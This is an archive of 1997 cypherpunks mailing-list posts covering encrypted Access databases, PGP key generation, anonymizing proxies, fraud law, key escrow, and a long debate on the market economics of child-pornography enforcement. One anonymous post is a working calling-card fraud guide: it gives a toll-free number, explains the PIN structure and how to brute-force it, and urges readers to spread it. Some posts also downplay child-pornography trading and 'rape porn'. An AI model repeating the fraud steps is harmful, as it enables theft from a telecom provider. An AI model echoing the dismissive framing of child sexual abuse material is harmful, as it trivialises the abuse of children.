>From owner-cypherpunks@Algebra.COM  Mon Jun  9 18:22:12 1997
Message-Id: <199706091524.LAA01532@www.video-collage.com>
Comments: Authenticated sender is <trei@popserver>
From: "Peter Trei" <trei@process.com>
Organization: Process Software
To: cypherpunks@Algebra.COM
Date: Mon, 9 Jun 1997 11:36:50 -6
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Subject: MS Access 97 deprotection?
Reply-to: trei@process.com
CC: trei@process.com
X-mailer: Pegasus Mail for Win32 (v2.42)
Sender: owner-cypherpunks@algebra.com
Precedence: bulk
X-Mailing-List: cypherpunks@algebra.com
X-List-Admin: ichudov@algebra.com
X-Loop: cypherpunks@algebra.com


     An acquaintence of mine who runs a small consulting 
business here in Massachusetts called last night.

     He seems to be suffering from one of the classic 
aftereffects of a having 'disgruntled, 
about-to-be-ex-employee'; one of the database files on 
which his business relies has been encrypted within 
Microsoft Access 97, and he needs to recover the data.

A quick look around at the obvious sites shows no generic
de-protector, as there are for MS Word and many other systems.
Anyone have any clue how he might get his data back? (I've
already told him to consider the lawyer-based route).

Send me mail - I'll pass it on to him.

thanks,

Peter Trei
trei@process.com

----- End of forwarded message from Peter Trei -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Igor Chudov @ home" <ichudov@Algebra.COM>
Date: Tue, 10 Jun 1997 07:51:38 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Steak Knife Decryption (fwd)
Message-ID: <199706092344.SAA01316@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



----- Forwarded message from Peter Trei -----

>From trei@process.com  Mon Jun  9 18:21:21 1997
Message-Id: <199706091411.KAA26392@www.video-collage.com>
Comments: Authenticated sender is <trei@popserver>
From: "Peter Trei" <trei@process.com>
Organization: Process Software
To: ichudov@algebra.com (Igor Chudov @ home), cypherpunks@cyberpass.net,
        mpd@netcom.com
Date: Mon, 9 Jun 1997 10:20:41 -6
MIME-Version: 1.0
Content-type: text/plain; charset=US-ASCII
Content-transfer-encoding: 7BIT
Subject: Re: Steak Knife Decryption
Reply-to: trei@process.com
Priority: normal
X-mailer: Pegasus Mail for Win32 (v2.42)

> Subject:       Re: Steak Knife Decryption
> To:            mpd@netcom.com (Mike Duvos)
> Date:          Sat, 7 Jun 1997 00:44:15 -0500 (CDT)
> Cc:            cypherpunks@cyberpass.net
> From:          ichudov@algebra.com (Igor Chudov @ home)
> Organization:  Bool Sheet Software
> Reply-to:      ichudov@algebra.com (Igor Chudov @ home)

> Mike Duvos wrote:
> > 

> I am not quite clear if rational people can get something out of
> torturing other rational people. Maybe, I am confused and wrong
> somewhere.
> 	- Igor.

Torture is a means of producing an irrational state in people's
minds (at least temporarily), thus causing them to do things they
would not rationally do (sign a prepared confession, reveal a secret, 
etc) If torture could not do this, it would not be used; verbal
persuasion over tea and crumpets is *so* much more pleasant.

Even people who might be able to face a more or less painless 
death with equanimity (in the pursuit of some greater cause) 
may break down as the bamboo splints are pushed under their 
fingernails.

'Rational torture victim' is an oxymoron.

Peter Trei
trei@process.com

----- End of forwarded message from Peter Trei -----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Tue, 10 Jun 1997 08:04:13 +0800
To: cypherpunks@toad.com
Subject: Thoughtcrime (Re: My War)
Message-ID: <v03007804afc24574f7af@[168.161.105.191]>
MIME-Version: 1.0
Content-Type: text/plain



Here are some of my responses on another list... --Declan

**********

Date: Mon, 9 Jun 1997 17:46:47 -0400
To: "Vangelis" <vangelis@qnis.net>
From: Declan McCullagh <declan@pathfinder.com>
Subject: How "child porn" laws ban pix of girls in leotards

At 11:54 -0700 6/9/97, Vangelis wrote:
>None of this out-of-control angry mob shit, alright?  THINK.  If it's too
>hard a task to go after ONLY those genuinely responsible and you'd rather
>go after their friends, family, co-workers, customers, or anyone else
>you've rationalized as somehow indirectly encouraging the activity w/o
>actually participating, then you've got no business playing vigilante -
>you've become just another wreckless crusader *blinded* by his own
>self-righteous outrage.  Christianity, the Nazi Party, and Prohibition, and
>McCarthyism (just to name a few) have already given us enough of those.

This is well said. Read that paragraph again.

The true enemy here is *NOT* the pervs trading child porn. It's the
censorhappy wackos who want to censor others.

The main reason folks seem to be in a lather about the "threat" of child
porn is that it might ruin the Net for everyone. That is, it gives Congress
an excuse to censor it and bring it under ever-tightening controls.

But isn't it clear that the true enemy is the censor? Stamp out child porn
and then Congress will use Nazi sites, or regular porn sites, or sites that
collect personal information as an excuse and justification for censorship.
That's why you should attack the censors (and the real child molestors),
not those trading dirty JPEGs.

Also, I see a lot of uninformed rants on this list about "we must uphold
child porn laws." Few people seem to realize that the long-standing Federal
child porn law outlawed *pictures of dancing girls wearing leotards*. I'm
not making this up. No nudity. No breasts. Certainly no genitals. But the
Supreme Court upheld the conviction in the Knox case. Now the law is even
worse, since it criminalizes morphed images that *look* like kids in
leotards, even if the models were 25-year old adults.

Be cautious when praising such laws.

-Declan

**********

Date: Mon, 9 Jun 1997 17:10:42 -0400
To: Tepes <tepes@reincarnate.com>
From: Declan McCullagh <declan@pathfinder.com>
Subject: Re: My War

At 06:59 -0400 6/9/97, Tepes wrote:

>Yeah, a friend of mine accidentally came across kiddie-porn a few months
>ago.  She e-mailed all the headers, etc. to Customs' Child Porn dept. and
>they e-mailed her back saying that they really can't do anything about it.
>What the hell do they have a Child Porn task force if they can't do
>anything about it!

Perhaps because Customs has nothing to do with enforcement of domestic
laws? I hope you're not proposing expanding the police powers of the Feds.
I mean, your friend is doing the equivalent of asking the National Park
Service why she isn't getting her welfare checks on time.

>What is also equally sick is rape porn.

Excuse me, but what is "rape porn?" What, a picture of two people having
sex that's titled "rape?"

Not quite. Just like those pictures of a 40 year old guy and a 20 year old
girl having "incest sex," it's a fantasy. Free speech. Don't sweat it. Let
others enjoy their fantasies.

-Declan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 10 Jun 1997 08:09:40 +0800
To: "Mark M." <markm@voicenet.com>
Subject: Re: PGP Key generation
In-Reply-To: <Pine.LNX.3.96.970608211659.3887A-100000@purple.voicenet.com>
Message-ID: <Pine.LNX.3.91.970609194807.2934A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> There are a few shortcuts you could take.  For instance, instead of finding
> two random, prime numbers for every key, just keep one prime constant and
> generate another random prime for each key.  This has the disadvantage
> that any one key factored would allow the other keys to be factored
> trivially.  I know there are other ways, but I'm not very good with number
> theory.

This would actually not save as much time as it trivially appears to, the 
main time eater in pgp key generation is a. getting random seeds and 
mixing to distill randomness, and b. executing the extended euclidean 
algorithm to find modular inverses. 

Does anyone know any other speedups? - I`m sure I could think of a few 
but I`m really not in the mood ;-)...

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 10 Jun 1997 11:34:55 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Thoughtcrime   (Re: My War)
In-Reply-To: <3.0.2.32.19970609183534.0069ac1c@netcom13.netcom.com>
Message-ID: <v03102810afc276b6f608@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:52 PM -0700 6/9/97, Igor Chudov @ home wrote:
>Lucky Green wrote:

>> The answer is clearly no. By limiting the distribution of an individual
>> picture, you increase the total number of pictures required to satisfy
>> market demand. That means more children will be required to meet demand.
>
>How do you justify that "clearly"?
>
>I think that your analysis is incorrect.
>
>This is a supply and demand situation. It is very simple to show (as any
>microeconomics textbook does) that a tax on the product reduces the amount
>of product sold and produced.

Your economics education must have some gaps. Look into "price elasticity."
Look also at the markets for illegal drugs: despite severe "taxation" (in
the form of price increases of some drugs, increased prison terms, etc.),
some markets have increased even as prices have increased.

Closer to home, analyze gas consumption as gas taxes in American have risen
nearly 400% in the past 25 years (roughly following the OPEC shock in ;73).

With drugs, knocking out distributors has in many cases increased the
selling price of the drug, making it actually more lucrative for street
dealers to enter the market.

A complicated system, no doubt, but arguments based on "Econ 101" are
usually flawed when dealing with complex systems (something Samuelson would
almost certainly agree with me on).

>Since a unit of product is probably one picture of a child, there are
>less units produced if they are taxed.

This is not at all clear. If the crackdown on child porn, or porn in
general, causes the street price to rise to $10 a picture, say, then many
folks not producing child porn now might be tempted to get into the market.

If you look at your Econ 101 text again, read up on cycles of pork bellies
and suchlike agricultural products. Every shortage is followed by a period
of "overproduction," and vice versa.

What this all means for the porn trade is unclear, but looking at the drug
trade is pretty revealing.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 10 Jun 1997 09:25:31 +0800
To: cypherpunks@toad.com
Subject: Re: Fraud and free speech
In-Reply-To: <339c0f30.65344598@mail.eskimo.com>
Message-ID: <eB528D50w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



nexus@eskimo.com (Brian Lane) writes:
> >The mistake has been to extend "fraud" laws to non-contract situations,
> >e.g., ordinary speech (as distinguished from contracts).
>
>   This is very true. We now live in a society that expects to be
> 'protected' from everything, including their own ignorance, by Big
> Brother. Free Speech is just that -- free -- and should be accepted as
> such. We have various private organizations that have made it their
> business to oversee the truthfulness of product advertising and
> quality and this is how it should be.

Cool - can I sue George "no new taxes" Bish for breach of contract?

>   I believe that we have actually given up some of our free speech
> rights in order to be protected against the 'big bad companies looking
> to rip you off'. This has resulted in the government making a grab for
> more and more of our rights, the building of a buearucratic
> infrastructure to support this grab, and a seperate society back there
> in Wasington DC.

Very good point. Again, in various traditional Europan and various Asian
legal systems, lying per se is never a crime.  Lying while swearing by a
deity or a king is a crime.  Lying in court while under oath to various
local deities may be perjury.  Lying in a written document endorsed by the
king may be fraud.  Claiming that the borshch (borscht) one is selling is
the miracle cure for all diseases and the secret of eternal youth on the
basis of one's own reputation is OK.  Claiming that and also claiming FDA
endorsement is fraud if the borshch is not really endorsed by the FDA.
If a patient wants to buy non-FDA-endorsed medicine, it's between the
buyer and the seller.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Tue, 10 Jun 1997 06:37:44 +0800
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: Question about anonymizing proxies
In-Reply-To: <199706091758.KAA31403@fat.doobie.com>
Message-ID: <Pine.LNX.3.91.970609202402.3056A-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain





> Sorry if this has been beaten to death before (if it has, a pointer to
> where it is in the archives would be appreciated), but is it possible to
> chain anonymizing proxy servers in a way similar to remailers?


Yes, just concatenate the URLs for most purposes, or were you thinking of 
something more specific?

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Tue, 10 Jun 1997 09:34:19 +0800
To: Alan <alano@teleport.com>
Subject: Re: WSJ on Money Laundering
In-Reply-To: <Pine.GSO.3.96.970609133806.19311E-100000@linda.teleport.com>
Message-ID: <199706100128.UAA28257@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <Pine.GSO.3.96.970609133806.19311E-100000@linda.teleport.com>, on
06/09/97 
   at 01:42 PM, Alan <alano@teleport.com> said:

>Check out the latest (June 9th, 1997) Wall Street Journal.  On page B1
>there is an article on the wave of money laundering convictions for
>non-drug related crimes.  In fact, the article points out that just about
>any monetary transaction can be declared money laundering.  (And get
>upheld in court!)

>And the reasons behind this?  Long terms and lots of ready cash for the
>feds.

>"Property Seizure: It's not just for drug crimes anymore!"

This has been going on since the seizure laws were passed. The acusation
of any feloney gives the Gestapo (Federal, State, & Local) the power of
confescation (conviction is optional).

Not much different than the RICO laws. I would be suprised if 1 out of 10
RICO cases were actually against "orginized crime".

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM5yuYY9Co1n+aLhhAQGdGAP+IEUg1I/i8KPCBrQmpaHbBwX7vFrO6N5U
kIi21MAcWfkuRYMTte+9gnAyi1xyHQsGnvXoYBK9zNQK3H35gKCEbLwIDj0kJoFQ
yBJrHkDOz8FBQDH5hPiCgu+Pf9ps9u9PKHnlHZF6cWOy5GkoEoNrCn4ejpq27Qbi
ujNCulmP/JQ=
=tjU8
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 10 Jun 1997 09:24:12 +0800
To: cypherpunks@toad.com
Subject: Re: Fraud and free speech
In-Reply-To: <199706090408.XAA13740@mailhub.amaranth.com>
Message-ID: <BP528D51w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



"William H. Geiger III" <whgiii@amaranth.com> writes:
> So what you are saying that if I call up Widgits, Inc. and order product
> "X" that they advertizes does "Y". They instead send me product "X" that
> does "Z" not "Y" then I should have no recource? I should atleast be able
> to get my money back as they have not sold me the product that they
> claimed to be selling (clear violation of the "contract" between buyer and
> seller).

Romans firmly believed in "caveat emptor" and had no implied warranty
of merchantability.

> I have no problem with them saying their product does "Y" but if I spend
> my hard earned money on it then it best do what they say it does.

The cypherpunk solution is to make sure they can't use your money until
you've assertained that the product does what you want it to - and I
don't necessarily mean e-cash.

I occasionally buy shit by mail order on a credit card.  A few times I
was not happy with the purchase, and had to appeal to the card issuer
as an arbiter.  I was happy with the results.

Here both I and the merchant explicitly agree that the card issuer will
be the first arbiter in the dispute - the buyer offers the card, the
seller accepts it.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 10 Jun 1997 02:47:10 +0800
To: cypherpunks@Algebra.COM
Subject: Your REFUND from IQ INTERNET IS HERE!
Message-ID: <199706091839.UAA15229@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Your REFUND from IQ INTERNET IS HERE!

This message is for anyone who was rip'd off by IQ INTERNET  

You can now obtain a FULL Refund paid to these
Bastards by following these simple instructions.

I could also use some help in distributing this REFUND offer!
Please help me by mass emailing this out to the Internet.  I am sure
we could find "others" who would like a REFUND too! (g) LOL!

I just discovered a "way cool" crack for IQ DIRECT / WMRG COM., a pre-paid calling card company.  If you want FREE long distance to any where in the world here it is.!!!

Call 1-800-510-7941 the automated prompt will ask you for a pin number.

Now here is the "Way Cool" Crack ...The pin number is a 10 digit code, for example: 748-700-4162  The first 3 numbers is the 'batch" code and will always stay the same.
The "batch" codes seem to run sequentially. In other words 100, 101,112 ...748,749,....999 end.  The "batch" codes also represents dollars denominations of $5, $10, $20, $50, $100, $500!!! (lol G)

The second and third set of numbers are somewhat random.  However as in the example 748-700-4163, I know of people who have been able to pick up a lot of FREE time just by changing one number in the second or third set of numbers. 

When you dial the 1-800-510-7941 number the automated voice will allow you 5 attempts to enter the correct pin number.  You will be disconnected after the 5th attempt.  But hey, no problem!  Just call back and retry.  I have found on average that within the 10th attempt at entering a pin number, you will find an authorized pin number!

It is really a lot of fun!  Sort of like spinning the Wheel of Fortune and coming up with a jackpot of up to $500 in pre-paid long distance!

This crack is likely to end within 1 week of this posting 6/07/97. 

Do yourself a favor and Hurry!  

Let everyone know about this "limited" opportunity. (G)

Due to high call traffic you may run into busy signals  (lol & G)!!!

$incerely,

Dialing For Dollars$$$







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 10 Jun 1997 11:45:13 +0800
To: cypherpunks@Algebra.COM
Subject: [Noise, California only] Good deal on ISDN access
Message-ID: <3.0.2.32.19970609203945.00715b00@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



[I have been sick at home all day, when I just couldn't sleep anymore I hit
the web. I hope this makes sense...]

Given that a good number of people on this list live in CA, this might be
of interest to you. It certainly was to me. PacBell is selling flat rate 2B
ISDN Internet access at $50/month. Plus the regular home ISDN fees, but
this is still much cheaper than what I paid before. You might want to think
hard before you buy at new 56k modem that in all likelihood won't be able
to give you 56k anyway. And no analog modem will ever give you 128kbps.

Analog lines aren't made for data. They aren't particularly good for data.
That's why ISDN was designed. It didn't take off until recently, since it
was priced for business and business decided they didn't need it for
various reasons. But at these prices, you'd have to be a starving student
or nuts not to get it at home.

http://dialup.pacbell.net/ISDN/

Disclaimer: I have no financial interest in PacBell. It would be nice,
though. :-)


--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Tue, 10 Jun 1997 09:26:29 +0800
To: cypherpunks@toad.com
Subject: Re: [ADMINISTRATIVIUM] Quadratic residues
In-Reply-To: <19370327300899@nac.net>
Message-ID: <H0528D53w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



The Spectre <spectre@nac.net> writes:
>
> > On Mon, 9 Jun 1997, Anonymous wrote:
> >
> > I think Vulis needs each of us to send ten copies of this back to him.
> >
> [...]
> I think I'm sending *you* ten copies of this.

Folks, when replying to the ASCII art, please try to quote enough of the
body so it'll be picked up by the filters :-)

[Or should I be filtering on the Subject line?]

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Tue, 10 Jun 1997 12:15:45 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Thoughtcrime   (Re: My War) (fwd)
In-Reply-To: <199706100316.WAA03518@einstein.ssz.com>
Message-ID: <v03102813afc280fe6067@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain



At 8:16 PM -0700 6/9/97, Jim Choate wrote:

>  ...    The actual cycle is much more
>complicated than Tim is alluding to here.

I agree. I was mainly reacting to Igor's simplistic model from Economics
that a tax on something will decrease consumption of it.

There are many, many other issues.

I didn't even mention one of the most basic ones: no one expects to get caught.

Thus, the increased penalties do indeed increase the averaged costs of
producing child porn. But a rule of thumb is that markets will thrive when:


          selling price > production cost

Or,

          selling  price - production cost = profits

Sellers of illegal mateials will factor in their chances of getting caught,
the punishment if caught, etc., as another part of the production cost. So,

   selling price - (production costs of item plus chance of being caught
times chance of being convicted times punishment if convicted) = profits

And so on. The higher selling price of a more restricted item may in fact
cause more sellers to enter the market. This was Lucky's point.

It's all very complicated. And strong crypto, of course, is on the verge of
making the risk of getting caught near zero. You know the rest.

--Tim May



There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Tue, 10 Jun 1997 11:10:10 +0800
To: cypherpunks@EINSTEIN.ssz.com (Cypherpunks Distributed Remailer)
Subject: Re: Thoughtcrime   (Re: My War) (fwd)
Message-ID: <199706100235.VAA03328@einstein.ssz.com>
MIME-Version: 1.0
Content-Type: text



Hi,

Forwarded message:

> Date: Mon, 09 Jun 1997 18:35:34 -0700
> From: Lucky Green <shamrock@netcom.com>
> Subject: Re: Thoughtcrime   (Re: My War)

> Let us assume that it is unethical to force children to participate  in the
> production of child pornography. (For the benefit of Kent and the more
> ignorant people on this list, I will state that I firmly believe this to be
> true, despite the fact that doing so should be irrelevant for the argument.)

> Furthermore, let us assume that there are a number of individuals who enjoy
> looking at hard core child pornography.

> The question then is: does going after the distributors provide a benefit
> to the children being (potentially) used for such pictures?

> The answer is clearly no.

Assuming, tacitly of course, that the supply of distributors is unlimited.
If the resource is limited, as it actualy is, by getting the distribution
node you in effect cut many people off. Thus forcing either total denial or
else direct intervention, thus raising the chance of getting caught because
more persons would be involved than would normaly be the case. This in
effect clearly indicates a benefit to going after the distributors. This
argument can be extended to the film-maker as well.

Now some will say that it doesn't matter, somebody else will always pop up.
The problem with this is that we have a limited population and there are
only a statistical percentage going to be interested in the activity. This
implies that there is some set of persons who will not participate. The
trick is to get the non-participants to be the larger of the two.

> By limiting the distribution of an individual
> picture, you increase the total number of pictures required to satisfy
> market demand. That means more children will be required to meet demand.

By extension then full and complete public distribution would minimize it
completely. So, you are seriously stating that we should put such pictures
on the daily television, say during childrens hour? Now if we follow this
further we are left with the image of our government hiring children to pose
for said images because the supply of 'actual' images had diminished.
That is truly a case of the pot calling the kettle black. Plus the sicko's
get free, danger free, thrills at the public expence. Wooo, just what I
want my tax dollars spent on.

We are clearly dealing with a cusp-shaped function here. The implication
being that some form of regulation is beneficial if we want to actualy
reduce child abuse.

> Thus, by going after the distributors, Se7en causes more children to be
> violated by child pornographers.

Or just possibly making the supply even more scarce because fewer and fewer
are willing to take the chance of making a few bucks.

> The only question that remains is: how can he live with this?
> 
> Logic != base emotions,

Ahmen brother!

Otherwise, feldercarb.

   _______________________________________________________________________
  |                                                                       |
  |            Moderation in all things, including moderation.            |
  |                                                                       |
  |                            -I wish I could remember-                  |
  |                                                                       |
  |     Jim Choate                                 ravage@ssz.com         |
  |     The Armadillo Group                        www.ssz.com            |
  |     Austin, Texas, USA                         512-451-7087           |
  |_______________________________________________________________________|





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@Algebra.COM (Igor Chudov @ home)
Date: Tue, 10 Jun 1997 11:02:48 +0800
To: shamrock@netcom.com (Lucky Green)
Subject: Re: Thoughtcrime   (Re: My War)
In-Reply-To: <3.0.2.32.19970609183534.0069ac1c@netcom13.netcom.com>
Message-ID: <199706100252.VAA02513@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text



Lucky Green wrote:
> Let us assume that it is unethical to force children to participate  in the
> production of child pornography. (For the benefit of Kent and the more
> ignorant people on this list, I will state that I firmly believe this to be
> true, despite the fact that doing so should be irrelevant for the argument.)
> 
> Furthermore, let us assume that there are a number of individuals who enjoy
> looking at hard core child pornography.
> 
> The question then is: does going after the distributors provide a benefit
> to the children being (potentially) used for such pictures?

> The answer is clearly no. By limiting the distribution of an individual
> picture, you increase the total number of pictures required to satisfy
> market demand. That means more children will be required to meet demand.

How do you justify that "clearly"?

I think that your analysis is incorrect.

This is a supply and demand situation. It is very simple to show (as any
microeconomics textbook does) that a tax on the product reduces the amount
of product sold and produced.

Since a unit of product is probably one picture of a child, there are
less units produced if they are taxed.

In the case of child porn, all this persecution is a form of tax, although
not very quantifiable.

igor


> Thus, by going after the distributors, Se7en causes more children to be
> violated by child pornographers.
> 
> The only question that remains is: how can he live with this?
> 
> Logic != base emotions,
> 
> --Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.
> 
>   Put a stake through the heart of DES! Join the quest at
>   http://www.frii.com/~rcv/deschall.htm
> 



	- Igor.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Tue, 10 Jun 1997 13:11:12 +0800
To: Tim May <cypherpunks@Algebra.COM
Subject: Re: Thoughtcrime   (Re: My War) (fwd)
In-Reply-To: <199706100316.WAA03518@einstein.ssz.com>
Message-ID: <3.0.2.32.19970609220513.006d5bf8@netcom13.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



At 09:08 PM 6/9/97 -0700, Tim May wrote:
>At 8:16 PM -0700 6/9/97, Jim Choate wrote:
>
>>  ...    The actual cycle is much more
>>complicated than Tim is alluding to here.
>
>I agree. I was mainly reacting to Igor's simplistic model from Economics
>that a tax on something will decrease consumption of it.
>
>There are many, many other issues.
>
>I didn't even mention one of the most basic ones: no one expects to get
caught.

This is certainly true. I lived in cities most of my life and encountered a
good number of sellers of various illegal merchandise. [On 6th Street in
San Francisco, everything from crack to counterfeit subway passes is on
sale. On SSI payday, the dealers line up at 8 am right across from the
check cashing place. This is taking place two blocks away from the main
police station, the municipal court, and the county jail. The dealers
conduct their business openly in plain sight of anyone walking to the
nearby subway station. Same for the consumers smoking glass pipes in the
alley half a block away. All of this is funded by your tax dollars.]

Neither party seems to think they will be caught.

>Thus, the increased penalties do indeed increase the averaged costs of
>producing child porn. But a rule of thumb is that markets will thrive when:
>
>
>          selling price > production cost

Medical cocaine wholesales in the US for $0.50 per gramm. I am told that
"street" cocaine with <50% active ingredient sells for about $50 a gramm.
That's two orders of magnitude difference between production cost and
selling price. No wonder that some of the smarter youths, the one's that
can keep track of money and understand business, choose careers as drug
dealers. What other good gives you similar profit margins? [I believe they
are missguided, but this must be hard to understand if you are 16 and can
make $1000 per day selling drugs.]

Well, child pornography might have similar profit margins. Or at least it
will, once Se7en and the feds succeed in raising the price.

Everything is the other way around,


--Lucky Green <shamrock@netcom.com> PGP encrypted mail preferred.

  Put a stake through the heart of DES! Join the quest at
  http://www.frii.com/~rcv/deschall.htm





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: se7en <se7en@dis.org>
Date: Tue, 10 Jun 1997 13:17:23 +0800
To: jamesd@echeque.com
Subject: Re: FCPUNX:My War
In-Reply-To: <199706100450.VAA27290@proxy3.ba.best.com>
Message-ID: <Pine.BSI.3.91.970609220503.12873Y-100000@kizmiaz.dis.org>
MIME-Version: 1.0
Content-Type: text/plain





On Sun, 8 Jun 1997 jamesd@echeque.com wrote:

> You are no hacker:  You appear to be Rich Graves.  Furthermore this 
> activity is tolerated by us.
> 
> And as usual you are discovering and publicising all sorts of good reasons
> why the government should supervise us, while piously declaring you are
> opposed to any such supervision.

Read the follow-up to the original posting.

se7en





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Marc Horowitz <marc@cygnus.com>
Date: Tue, 10 Jun 1997 10:20:26 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Access to Storage and Communication Keys
In-Reply-To: <3.0.1.32.19970609000938.00756910@popd.ix.netcom.com>
Message-ID: <t5367vnxld3.fsf@rover.cygnus.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart <stewarts@ix.netcom.com> writes:

>> Having argued that point vociferously in the past, I'm now going to
>> waffle on the issue - while the business need is for access to
>> stored data, this may often include stored messages received from
>> a communication system in encrypted form.  Either the User Interface
>> needs to make it convenient to store the decrypted message,
>> or else the user will store the message in encrypted form -
>> which means there may be a business need for Proper Authority Access later.

To me, mail encryption is not communications encryption.  The mail
message is encrypted, just like a file might be.  Then those encrypted
bits are sent over the net.  It is precisely because I have access to
the ciphertext as a separate entity that this is not communications
encryption.

This is in contrast to ssh, kerberized telnet, IPsec, etc., where once
the communications has happened, I either have the cleartext bits
(example: scp), or nothing but a memory in my head (example: telnet).
In this situation, private escrow of keys is useless, unless I'm also
escrowing the ciphertext.  Nobody I know archives their cyphertext
data flows.  Anybody know of a contradiction?

The *only* reason to escrow communications keys is to spy on people;
there is never an opportunity for data loss here.

Note that this also means that private key recovery (intra-corporate,
for example) is consistent with perfect forward secrecy, since the
former is never useful for communications, and the latter only is.

This doesn't fix the potential problems with email, but it does let
you continue to argue vociferously and with a clear conscience against
communications key escrow in any form.

		Marc





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: se7en <se7en@dis.org>
Date: Tue, 10 Jun 1997 13:16:23 +0800
To: Cypherpunks <cypherpunks@toad.com>
Subject: Response to "My War"
Message-ID: <Pine.BSI.3.91.970609220733.12873a-100000@kizmiaz.dis.org>
MIME-Version: 1.0
Content-Type: text/plain




I have been away for most of the day, and came home to see I hit a 
sensitive spot in one way or another with many people. I tried to respond 
to many people who sent me private messages, but for some strange ass 
